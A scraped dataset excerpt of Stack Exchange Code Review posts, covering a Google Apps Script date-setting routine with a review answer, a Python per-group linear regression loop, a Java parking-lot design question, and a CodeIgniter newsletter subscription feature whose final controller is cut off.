body
stringlengths
25
86.7k
comments
list
answers
list
meta_data
dict
question_id
stringlengths
1
6
<p>I'm trying to get this to run faster, even marginally so. Right now to update 470 rows it takes about 90 seconds. It works, but I know there are better ways. I understand calls to Spreadsheet API are slow, and batching getRanges and setValues would speed things up, but doesn't seem obvious given the brief bit I know.</p> <pre><code>function setDates() { var app = SpreadsheetApp; var ssData = app.getActiveSpreadsheet().getSheetByName(&quot;Data&quot;); //Calculates due dates based on entered dates in column D for (var i=4; i&lt;=ssData.getLastRow(); i++) { //cycles through all 18 pilots for(var j=0; j&lt;25; j++) { //cycles through an individuals' 25 training items var dateCompleted = new Date(ssData.getRange(i+j,4).getValue()); //date of training completed var interval = ssData.getRange(i+j,5).getValue(); //interval in months between date complete and date due var monthCompleted = dateCompleted.getMonth(); var yearCompleted = dateCompleted.getFullYear(); if (!isNaN(parseFloat(yearCompleted)) &amp;&amp; !isNaN(interval)) { //checks to see if vars year and interval are numbers var dateDue = new Date(dateCompleted.setMonth((monthCompleted + interval))); //date of training due var yearDue = dateDue.getFullYear(); var monthDue = dateDue.getMonth(); dateDue = new Date(yearDue, monthDue+1, 0); ssData.getRange(i+j,6).setValue(new Date(dateDue)); //sets dateDue in column F } } i = i + 25; } } </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-16T23:48:32.237", "Id": "508130", "Score": "0", "body": "Welcome to Code Review! I [changed the title](https://codereview.stackexchange.com/posts/257269/revisions) so that it describes what the code does per [site goals](https://codereview.stackexchange.com/questions/how-to-ask): \"_State what your code does in your title, not your main concerns about it._\". Feel free to [edit] and give it a different title if there is something more appropriate." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T01:46:57.230", "Id": "508139", "Score": "0", "body": "I'm getting really bummed that in posting this twice on the forums, I've received no help but instead handfulls of comments about what I did wrong to post the question. I'm beginning to think this is not the area in which to find my answer...." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T15:38:55.760", "Id": "508220", "Score": "0", "body": "It looks like [the SO post](https://stackoverflow.com/questions/66646470/optimization-of-google-script) only had an image of the code and here the code is embedded so good job with that. It looks like now you have an answer- hopefully you find it helpful!" } ]
[ { "body": "<h2>General review</h2>\n<p>Generally the code is OK and problems are due to lack of experience rather than bad style or habit.</p>\n<p>I am unfamiliar with SpreadsheetApp so you should wait in case someone that is adds another answer before you accept this answer, if so inclined.</p>\n<p>Rather than submit this answer I took a quick look at the DOC for SpreadsheetApp (I hope I got the correct one) and added to this answer at bottom under heading Performance.</p>\n<h3>Review points</h3>\n<ul>\n<li><p>Take care with indentation. all code blocks should be indented (If indentation mess is due to snippets poor formatting ignore this line)</p>\n</li>\n<li><p>When using <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. var\">var</a> declare them at the top of the function.</p>\n</li>\n<li><p>Use constants <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. const\">const</a> for variables that do not change.</p>\n</li>\n<li><p>Use <code>i</code>, <code>j</code> only for indexes or counters, if you are accessing coordinates, <code>row</code>, <code>column</code>, or <code>x</code>, <code>y</code> use names to match the axis name.</p>\n<p>In this case it looks like you are only indexing by row index. In the rewrite I use the variable name <code>row</code>. Then a counter called <code>i</code> to count 25 and allow for the skipped row every 26 rows.</p>\n<p>BTW When using i, j in loops the convention is i for the inner loop and j is the outer.</p>\n</li>\n<li><p>Don't calculate the same value many times. Eg you calculate <code>i + j</code> 3 times.</p>\n</li>\n<li><p>Avoid single use variables.</p>\n</li>\n<li><p>Use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/while\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. while\">while</a> loops in preference to <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript statement reference. for\">for</a> loops especially if you are incrementing the counter manually in the loops block.</p>\n<p>While loops are generally syntactically cleaner and are less complex under the hood (if you use let to declare the counter).</p>\n<p><strong>Note</strong> that when using while loops it is easy to forget to add the incrementation so take care to not forget to increment / decrement</p>\n</li>\n<li><p>Use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Expressions_and_Operators#assignment_operators\" rel=\"nofollow noreferrer\">arithmetic assignment operators</a> in this case <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Addition_assignment\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript operator reference. Addition assignment\">+= (Addition assignment)</a> <code>i += 25</code> rather than <code>i = i + 25</code>;</p>\n</li>\n<li><p>The is no need to create a new Date object every time you make a change.</p>\n</li>\n</ul>\n<h3>Date object</h3>\n<p>The <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Date\">Date</a> objects call <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/getFullYear\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Date getFullYear\">Date.getFullYear</a> always returns a <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Number\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. Number\">Number</a> as an integer.</p>\n<p>There is no need to use <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseFloat\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. parseFloat\">parseFloat</a> and the result of <code>!isNaN(parseFloat(yearCompleted))</code> will always be true and is thus not required.</p>\n<p>Further the variable <code>yearCompleted</code> is only used in the unneeded predicate and as such is not required at all.</p>\n<p>To set the date to the first day of the month you don't need to use <code>year, month + 1, 0</code> just set it to the 1st <code>year, month, 1</code></p>\n<h2>The inner <code>if</code> statement</h2>\n<p>It is unclear if the call to get <code>interval = ssData.getRange(i + j, 5).getValue()</code> will return a number or not.</p>\n<p>Because the use of <code>monthCompleted</code> is dependent on the valid numerosity of <code>interval</code> you can combine the two in one expression. However I suspect that <code>interval</code> will always be a number and as such there is no need for the <a href=\"https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/isNaN\" rel=\"nofollow noreferrer\" title=\"MDN JavaScript global objects reference. isNaN\">isNaN</a> test.</p>\n<h2>Rewrite</h2>\n<p>Using the above points the rewrite greatly reduces the code complexity. Without data there is no way to know if there is a need to vet the interval value. I added the test but it may not be needed.</p>\n<pre><code>function setDates() {\n var row = 4, i;\n const data = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(&quot;Data&quot;);\n while (row &lt; data.getLastRow()) {\n i = 25;\n while (i--) {\n const interval = data.getRange(row, 5).getValue();\n if (!isNaN(interval)) {\n const completed = new Date(data.getRange(row, 4).getValue()); \n completed.setMonth(interval + completed.getMonth());\n completed.setDate(1);\n data.getRange(row, 6).setValue(completed); \n }\n row ++;\n }\n row ++;\n }\n}\n</code></pre>\n<h2>Performance</h2>\n<p>I have taken a quick look at the SpreadsheetApp docs and thus will address the performance problems you are concerned about.</p>\n<p>The problem I think is the use of <a href=\"https://developers.google.com/apps-script/reference/spreadsheet/sheet#getrangerow,-column\" rel=\"nofollow noreferrer\">getRange(row, column)</a> which you use to get each cell.</p>\n<p>Rather...</p>\n<ul>\n<li><p>Use <a href=\"https://developers.google.com/apps-script/reference/spreadsheet/sheet#getrangerow,-column,-numrows,-numcolumns\" rel=\"nofollow noreferrer\">getRange(row, column, numRows, numColumns)</a> to get all the rows and columns in one call before you iterate the cells.</p>\n</li>\n<li><p>Then get an array of values from the range using <a href=\"https://developers.google.com/apps-script/reference/spreadsheet/range#getvalues\" rel=\"nofollow noreferrer\">range.getValues()</a> make the modifications needed.</p>\n</li>\n<li><p>Then use <a href=\"https://developers.google.com/apps-script/reference/spreadsheet/range#setvaluesvalues\" rel=\"nofollow noreferrer\">range.setvalues()</a> to set the changes made</p>\n</li>\n</ul>\n<p>This may get a significant performance increase.</p>\n<h3>Rewrite based on Docs</h3>\n<p>As I have no data or access to the API the rewrite is only a guess based on a quick read of the DOC's</p>\n<p>The only problem I can foresee is why you skip every 26th row and why you start from the 5th row (index as row 4)</p>\n<pre><code>function setDates() {\n var rowIdx = 0;\n const sheet = SpreadsheetApp.getActiveSpreadsheet().getSheetByName(&quot;Data&quot;);\n const range = sheet.getRange(4, 4, sheet.getLastRow() - 4, 3);\n const data = range.getValues(); // as 2D array of rows by columns eg...\n // data[0][0] is row 4 column 4\n // data[10][2] is row 14 column 6\n for (const row of data) {\n if (rowIdx &gt; 0 &amp;&amp; (rowIdx % 26)) { // skip every 26th row\n const interval = row[1];\n if (!isNaN(interval)) {\n row[2] = new Date(row[0]);\n row[2].setMonth(interval + row[2].getMonth());\n row[2].setDate(1);\n }\n }\n rowIdx++;\n }\n range.setValues(data);\n}\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-18T19:20:07.850", "Id": "508356", "Score": "0", "body": "Wow, thanks @Blindman67, I will give these suggestions and try and let you know. Many, many thanks!" } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T13:17:31.080", "Id": "257299", "ParentId": "257269", "Score": "1" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-16T20:55:26.560", "Id": "257269", "Score": "1", "Tags": [ "javascript", "performance", "google-apps-script" ], "Title": "Set Dates on Spreadsheet Rows" }
257269
<p>So, I code sometimes but I'm always bored with my code and I felt I have a lack of python skills and I see some piece of code when I finished it. This below is a piece that I did today and I want to share with you to take some advice in how I can improve this and so my Python proficiency.</p> <p>The idea below is to do a regression over a column and create three new columns with the prediction to the next 30, 60 and 90 days. The code works fine and do what I expect but I'm not happy with it.</p> <p>The dataset is something like this:</p> <div class="s-table-container"> <table class="s-table"> <thead> <tr> <th style="text-align: left;">f0</th> <th style="text-align: center;">f1</th> <th style="text-align: center;">f2</th> <th style="text-align: center;">f3</th> <th style="text-align: center;">f4</th> <th style="text-align: center;">f5</th> <th style="text-align: center;">f6</th> <th style="text-align: center;">f7</th> <th style="text-align: center;">f8</th> <th style="text-align: center;">f9</th> <th style="text-align: center;">f10</th> <th style="text-align: center;">f11</th> </tr> </thead> <tbody> <tr> <td style="text-align: left;">AA</td> <td style="text-align: center;">1648</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">89440</td> <td style="text-align: center;">40760</td> <td style="text-align: center;">0</td> <td style="text-align: center;">2021-01-21</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">40760</td> <td style="text-align: center;">0</td> </tr> <tr> <td style="text-align: left;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> </tr> <tr> <td style="text-align: left;">AA</td> <td style="text-align: center;">1802</td> <td style="text-align: center;">36196</td> <td style="text-align: center;">8980</td> <td style="text-align: center;">89440</td> <td style="text-align: center;">90380</td> <td style="text-align: center;">45176</td> <td style="text-align: center;">2021-03-16</td> <td style="text-align: center;">2522</td> <td style="text-align: center;">527</td> <td style="text-align: center;">0</td> <td style="text-align: center;">3049</td> </tr> <tr> <td style="text-align: left;">BB</td> <td style="text-align: center;">1868</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">335153</td> <td style="text-align: center;">87760</td> <td style="text-align: center;">0</td> <td style="text-align: center;">2021-01-21</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">87760</td> <td style="text-align: center;">0</td> </tr> <tr> <td style="text-align: left;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> </tr> <tr> <td style="text-align: left;">BB</td> <td style="text-align: center;">1872</td> <td style="text-align: center;">112758</td> <td style="text-align: center;">42762</td> <td style="text-align: center;">335153</td> <td style="text-align: center;">260860</td> <td style="text-align: center;">155520</td> <td style="text-align: center;">2021-03-16</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> </tr> <tr> <td style="text-align: left;">CC</td> <td style="text-align: center;">1868</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">420774</td> <td style="text-align: center;">282320</td> <td style="text-align: center;">0</td> <td style="text-align: center;">2021-01-21</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">282320</td> <td style="text-align: center;">0</td> </tr> <tr> <td style="text-align: left;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> </tr> <tr> <td style="text-align: left;">CC</td> <td style="text-align: center;">1872</td> <td style="text-align: center;">360787</td> <td style="text-align: center;">106921</td> <td style="text-align: center;">420774</td> <td style="text-align: center;">762104</td> <td style="text-align: center;">467708</td> <td style="text-align: center;">2021-03-16</td> <td style="text-align: center;">18766</td> <td style="text-align: center;">3902</td> <td style="text-align: center;">0</td> <td style="text-align: center;">22668</td> </tr> <tr> <td style="text-align: left;">DD</td> <td style="text-align: center;">1868</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">86173</td> <td style="text-align: center;">31000</td> <td style="text-align: center;">0</td> <td style="text-align: center;">2021-01-21</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">31000</td> <td style="text-align: center;">0</td> </tr> <tr> <td style="text-align: left;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> <td style="text-align: center;">...</td> </tr> <tr> <td style="text-align: left;">DD</td> <td style="text-align: center;">1872</td> <td style="text-align: center;">28163</td> <td style="text-align: center;">3628</td> <td style="text-align: center;">86173</td> <td style="text-align: center;">66600</td> <td style="text-align: center;">31791</td> <td style="text-align: center;">2021-03-16</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> <td style="text-align: center;">0</td> </tr> </tbody> </table> </div> <pre><code> df['prev30'] = np.int(0) df['prev60'] = np.int(0) df['prev90'] = np.int(0) for f0 in df['f0'].unique(): dataset = df[df['f0'] == f0] y = dataset.iloc[:, 2:3].values X = dataset.iloc[:, 0:1].values X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/4, random_state = 0) regressor = LinearRegression() regressor.fit(X_train, y_train) max_data = dataset['f1'].max() array = [30,60,90] for i in array: if i == 30: prev = &quot;prev30&quot; elif i == 60: prev = &quot;prev60&quot; else: prev = &quot;prev90&quot; new_X = np.array([[max_data + i]]) predic = int(regressor.predict(new_X)) dataset[prev] = predic print(dataset[dataset[&quot;f0&quot;] == f0]) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T05:47:59.840", "Id": "508152", "Score": "4", "body": "The site standard is for the title to simply state the task accomplished by the code, not your concerns about it. Please see [How do I ask a good question?](https://codereview.stackexchange.com/help/how-to-ask) for examples, and revise the title accordingly." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:21:50.653", "Id": "508199", "Score": "0", "body": "@MartinR thanks Martin, so how could I modified the title to give a more accurate and precise description since I’m looking for some general help not a specific point in particular?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:31:09.493", "Id": "508200", "Score": "1", "body": "This site *is* about reviewing concrete code. As mentioned in the FAQ, the title should describe that the code does, perhaps something like “Predict ... from ... by ...” – I cannot make a better suggestion because I do not know what the data represents etc. That information would also be a useful addition to the question." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T02:57:49.963", "Id": "257280", "Score": "0", "Tags": [ "python" ], "Title": "How to refine coding skills?" }
257280
<p>I have tried to design the parking lot problem. Here is the problem statement.</p> <blockquote> <p>Design a parking lot with multiple floors where customers can park their cars. Each parking floor will have many parking spots. The system should support multiple types of parking spots such as Compact, Large, Handicapped, Motorcycle, etc. The system should support parking for different types of vehicles like car, truck, van, motorcycle, etc. -motorbikes can only be parked at motorbike spots -cars can be parked at compact or large spots -Electric car can be parked at compact, large or electric spots -trucks and vans can only be parked in LargeSpot.</p> </blockquote> <p>Below are some of the classes I have created.</p> <pre><code>public abstract class ParkingSpot { private ParkingSpotType type; private boolean isFree; private Vehicle vehicle; public ParkingSpot (ParkingSpotType type) { this.type = type; } public boolean isFree() { return this.isFree; } public void assignVehicle(Vehicle vehicle) { this.vehicle = vehicle; this.isFree = false; } public void removeVehicle() { this.vehicle = null; isFree = true; } public ParkingSpotType getType() { return this.type; } public Vehicle getVehicle() { return this.vehicle; } } public class CompactParkingSpot extends ParkingSpot { public CompactParkingSpot(ParkingSpotType type) { super(ParkingSpotType.COMPACT); } } public class ElectricParkingSpot extends ParkingSpot { public ElectricParkingSpot(ParkingSpotType type) { super(ParkingSpotType.ELECTRIC); } } public class HandicappedParkingSpot extends ParkingSpot { public HandicappedParkingSpot(ParkingSpotType type) { super(ParkingSpotType.HANDICAPPED); } } public class LargeParkingSpot extends ParkingSpot { public LargeParkingSpot(ParkingSpotType type) { super(ParkingSpotType.LARGE); } } public class MotorBikeParkingSpot extends ParkingSpot { public MotorBikeParkingSpot(ParkingSpotType type) { super(ParkingSpotType.MOTORBIKE); } } public enum ParkingSpotType { HANDICAPPED, MOTORBIKE, COMPACT, LARGE, ELECTRIC } </code></pre> <p>Similarly I have created models for different Vehicles and Enum for VehicleTypes.</p> <p>Below is partial implementation of ParkingLot and PrkingFloor classes.</p> <pre><code>public class ParkingLot { private List&lt;ParkingFloor&gt; prkingFloor; // This count values would be incremented every time a vehicle is parked private int compactParkingSpotCount; private int electricParkingSpotCount; // private int handicappedParkingSpotCount; private int largeParkingSpotCount; private int motorBikeParkingSpotCount; private int maxAvailableCompactParkingSpots; private int maxAvailableElectricParkingSpots; // private int maxAvailableHandicappedParkingSpots; private int maxAvailableLargeParkingSpots; private int maxAvailableMotorBikeParkingSpots; public boolean isFull(VehicleType type) { // trucks and vans can only be parked in LargeSpot if (type == VehicleType.TRUCK || type == VehicleType.VAN) { return largeParkingSpotCount &gt;= maxAvailableLargeParkingSpots; } // motorbikes can only be parked at motorbike spots if (type == VehicleType.MOTORBIKE) { return motorBikeParkingSpotCount &gt;= maxAvailableMotorBikeParkingSpots; } // cars can be parked at compact or large spots if (type == VehicleType.CAR) { return (compactParkingSpotCount + largeParkingSpotCount) &gt;= (maxAvailableCompactParkingSpots + maxAvailableLargeParkingSpots); } // electric car can be parked at compact, large or electric spots return (compactParkingSpotCount + largeParkingSpotCount + electricParkingSpotCount) &gt;= (maxAvailableCompactParkingSpots + maxAvailableLargeParkingSpots + maxAvailableElectricParkingSpots); } // increment the parking spot count based on the vehicle type private void incrementSpotCount(VehicleType type) { if (type == VehicleType.TRUCK || type == VehicleType.VAN) { largeParkingSpotCount++; } else if (type == VehicleType.MOTORBIKE) { motorBikeParkingSpotCount++; } else if (type == VehicleType.CAR) { if (compactParkingSpotCount &lt; maxAvailableCompactParkingSpots) { compactParkingSpotCount++; } else { largeParkingSpotCount++; } } else { // electric car if (electricParkingSpotCount &lt; maxAvailableElectricParkingSpots) { electricParkingSpotCount++; } else if (compactParkingSpotCount &lt; maxAvailableCompactParkingSpots) { compactParkingSpotCount++; } else { largeParkingSpotCount++; } } } } public class ParkingFloor { private String name; private Map&lt;String, HandicappedParkingSpot&gt; handicappedParkingSpots; private Map&lt;String, CompactParkingSpot&gt; compactparkingSpots; private Map&lt;String, LargeParkingSpot&gt; largeparkingSpots; private Map&lt;String, MotorBikeParkingSpot&gt; motorbikeParkingSpots; private Map&lt;String, ElectricParkingSpot&gt; electricParkingSpots; public void addParkingSpot(ParkingSpot spot) { switch (spot.getType()) { case HANDICAPPED: handicappedParkingSpots.put(spot.getNumber(), (HandicappedParkingSpot) spot); break; case COMPACT: compactparkingSpots.put(spot.getNumber(), (CompactParkingSpot) spot); break; case LARGE: largeparkingSpots.put(spot.getNumber(), (LargeParkingSpot) spot); break; case MOTORBIKE: motorbikeParkingSpots.put(spot.getNumber(), (MotorBikeParkingSpot) spot); break; case ELECTRIC: electricParkingSpots.put(spot.getNumber(), (ElectricParkingSpot) spot); break; default: System.out.println(&quot;Wrong parking spot type!&quot;); } } public void assignVehicleToSpot(Vehicle vehicle, ParkingSpot spot) { spot.assignVehicle(vehicle); switch (spot.getType()) { case HANDICAPPED: // updateDisplayBoardForHandicapped(spot); break; case COMPACT: // updateDisplayBoardForCompact(spot); break; case LARGE: // updateDisplayBoardForLarge(spot); break; case MOTORBIKE: // updateDisplayBoardForMotorbike(spot); break; case ELECTRIC: // updateDisplayBoardForCompact(spot); break; default: System.out.println(&quot;Wrong parking spot type!&quot;); } } } </code></pre> <p>I am not able to figure out strategy for assigning a parking spot to a vehicle. I can come up with two different approaches:</p> <ol> <li>While initializing parking floor, add all the parkingSpots with flag isFree as true. When I have to assign a parking spot to a vehicle, I need to search through all the key/value pairs of hashMap(compactparkingSpots/largeparkingSpots etc, present in parkingFloor Object) and check for a free slot. That I think is ineffective and every vehicle will wait till our program searches for applicable free parkingSpot.</li> <li>While adding parkingSpots to parkingFloor, increment id for each spot. So, if floor 1 has 5 compactparkingSpots with ids 1 to 5, floor 2 will have another 5 compactparkingSpots with ids 5 to 10. Similarly, all floors will have parkingSpots with incremental ids. We can sore id of next free parkingSpot. So if 5 compactparkingSpots are full, next available id is 6. In that case also, we will have to iterate through each floor to check which floor has compactparkingSpot with id 6. This also I think is inefficient.</li> </ol> <p>I am not able to come up with an efficient Strategy to assign suitable parkingSpot to a Vehicle in fast and efficient manner.</p> <p>Please help me with the right Strategy.</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T09:28:58.923", "Id": "508180", "Score": "3", "body": "Welcome Vivek to code review. While you have a nice question, it is off-topic here, as we will review *existing code*." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T12:52:48.400", "Id": "508206", "Score": "1", "body": "@MiguelAvila Please do not edit the code in the question. Proposing better formatting of the code would be fair game for an answer, though." } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-17T06:26:27.743", "Id": "257283", "Score": "2", "Tags": [ "java", "algorithm", "object-oriented", "design-patterns" ], "Title": "Design a parking lot" }
257283
<p>I am working on a <strong>online newspaper/blogging application</strong> with <strong>CodeIgniter 3.1.8</strong> and <strong>Twig</strong>.</p> <p>The application is meant to offer developers and designers the possibility to very easily turn their HTML templates into database-powered websites. To achieve this, I used the <strong>Twig</strong> template engine, for the frontend.</p> <p>I have recently added a <strong>newsletter subscription</strong> functionality.</p> <p>The newsletter subscriptition form:</p> <pre><code>&lt;h5&gt;Sign Up for Newsletter&lt;/h5&gt; &lt;p&gt;Signup to get updates on articles, interviews and events.&lt;/p&gt; &lt;div class=&quot;subscribe-form&quot;&gt; &lt;div id=&quot;messags&quot; class=&quot;is-hidden h-text-center&quot;&gt; &lt;div class=&quot;success is-hidden alert-box alert-box--success&quot;&gt;You have successfully subscribed to our newsletter&lt;/div&gt; &lt;div class=&quot;notnew is-hidden alert-box alert-box--info&quot;&gt;You are already subscribed&lt;/div&gt; &lt;div class=&quot;fail is-hidden alert-box alert-box--error&quot;&gt;Sorry, the newsletter subscription filed&lt;/div&gt; &lt;/div&gt; &lt;form name=&quot;newsletter&quot; method=&quot;post&quot; action=&quot;{{base_url}}newsletter/subscribe&quot; id=&quot;newsletterForm&quot; class=&quot;group&quot; novalidate&gt; &lt;input type=&quot;email&quot; name=&quot;email&quot; class=&quot;email&quot; value=&quot;{{set_value('email') | striptags}}&quot; data-rule-required=&quot;true&quot; placeholder=&quot;Your Email Address&quot;&gt; &lt;input type=&quot;submit&quot; name=&quot;subscribe&quot; value=&quot;subscribe&quot;&gt; &lt;/form&gt; &lt;/div&gt; </code></pre> <p>The form data is submitted via jQuery Ajax:</p> <pre><code>(function($) { $(&quot;#newsletterForm&quot;).validate({ rules: { email: { email: true } }, submitHandler: function(form) { var form = $(&quot;#newsletterForm&quot;), $fields = form.find('input[type=&quot;email&quot;]'), url = form.attr('action'), data = form.serialize(); $.ajax({ dataType: &quot;json&quot;, type: &quot;post&quot;, url: url, data: data, cache: false, success: function(response) { $('#messags').slideDown(250).delay(2500).slideUp(250); $fields.val(''); if (response.is_new_subscriber === true) { $('#messags .success').show(); $('#messags .notnew').hide(); } else { $('#messags .notnew').show(); } }, error: function() { $('#messags .fail').show(); } }); } }); })(jQuery); </code></pre> <p>The <strong>Newsletter</strong> controller:</p> <pre><code>class Newsletter extends CI_Controller { public function __construct() { parent::__construct(); } public function subscribe() { $data['is_new_subscriber'] = true; if (!$this-&gt;Newsletter_model-&gt;subscriber_exists()) { $this-&gt;Newsletter_model-&gt;addSubscriber(); } else { $data['is_new_subscriber'] = false; } echo json_encode($data); } } </code></pre> <p>The <strong>Newsletter_model</strong> model:</p> <pre><code>class Newsletter_model extends CI_Model { public function subscriber_exists() { $query = $this-&gt;db-&gt;get_where('newsletter', array('email' =&gt; $this-&gt;input-&gt;post('email') )); return $query-&gt;num_rows() &gt; 0; } public function addSubscriber() { $data = array( 'email' =&gt; $this-&gt;input-&gt;post('email'), 'subscription_date' =&gt; date('Y-m-d H:i:s') ); return $this-&gt;db-&gt;insert('newsletter', $data); } public function getSubscribers() { $query = $this-&gt;db-&gt;get('newsletter'); return $query-&gt;result(); } public function editSubscriber($id) { $query = $this-&gt;db-&gt;get_where('newsletter', array( 'id' =&gt; $id )); if ($query-&gt;num_rows() &gt; 0) { return $query-&gt;row(); } } public function updateSubscriber($id) { $data = array( 'email' =&gt; $this-&gt;input-&gt;post('email') ); $this-&gt;db-&gt;where('id', $id); return $this-&gt;db-&gt;update('newsletter', $data); } public function deleteSubscriber($id) { return $this-&gt;db-&gt;delete('newsletter', array( 'id' =&gt; $id )); } } </code></pre> <p>The newsletter subscribers are managed in the back-end.</p> <p>The view:</p> <pre><code>&lt;?php if(count($subscribers)):?&gt; &lt;div class=&quot;table-responsive&quot;&gt; &lt;table class=&quot;table table-striped table-sm mb-0 w-100&quot;&gt; &lt;thead&gt; &lt;tr class=&quot;row m-0&quot;&gt; &lt;th class=&quot;w-5&quot;&gt;#&lt;/th&gt; &lt;th class=&quot;w-50&quot;&gt;Email&lt;/th&gt; &lt;th class=&quot;w-25&quot;&gt;Subscription date&lt;/th&gt; &lt;th class=&quot;w-20 text-right&quot;&gt;Actions&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;?php foreach ($subscribers as $index =&gt; $subscriber): ?&gt; &lt;tr id=&quot;&lt;?php echo $subscriber-&gt;id; ?&gt;&quot; class=&quot;row m-0&quot;&gt; &lt;td class=&quot;w-5&quot;&gt;&lt;?php echo $index + 1; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-50&quot;&gt;&lt;?php echo $subscriber-&gt;email; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-25&quot;&gt;&lt;?php echo $subscriber-&gt;subscription_date; ?&gt;&lt;/td&gt; &lt;td class=&quot;w-20 text-right&quot;&gt; &lt;div class=&quot;btn-group&quot;&gt; &lt;a href=&quot;&lt;?php echo base_url('dashboard/subscribers/edit/' . $subscriber-&gt;id); ?&gt;&quot; title=&quot;Edit&quot; class=&quot;btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fa fa-pencil-square-o&quot;&gt;&lt;/i&gt; Edit&lt;/a&gt; &lt;a href=&quot;&lt;?php echo base_url('dashboard/subscribers/delete/' . $subscriber-&gt;id); ?&gt;&quot; title=&quot;Delete&quot; class=&quot;delete-subscriber btn btn-sm btn-success&quot;&gt;&lt;i class=&quot;fa fa-trash&quot;&gt;&lt;/i&gt; Delete&lt;/a&gt; &lt;/div&gt; &lt;/td&gt; &lt;/tr&gt; &lt;?php endforeach ?&gt; &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt; &lt;?php else: ?&gt; &lt;p class=&quot;text-center&quot;&gt;No subscribers&lt;/p&gt; &lt;?php endif ?&gt; </code></pre> <p>The <strong>Subscribers</strong> controller (in the dashboard):</p> <pre><code>class Subscribers extends CI_Controller { public function __construct() { parent::__construct(); } public function index(){ if (!$this-&gt;session-&gt;userdata('is_logged_in')) { redirect('login'); } else { // Admin ONLY area! if (!$this-&gt;session-&gt;userdata('user_is_admin')) { 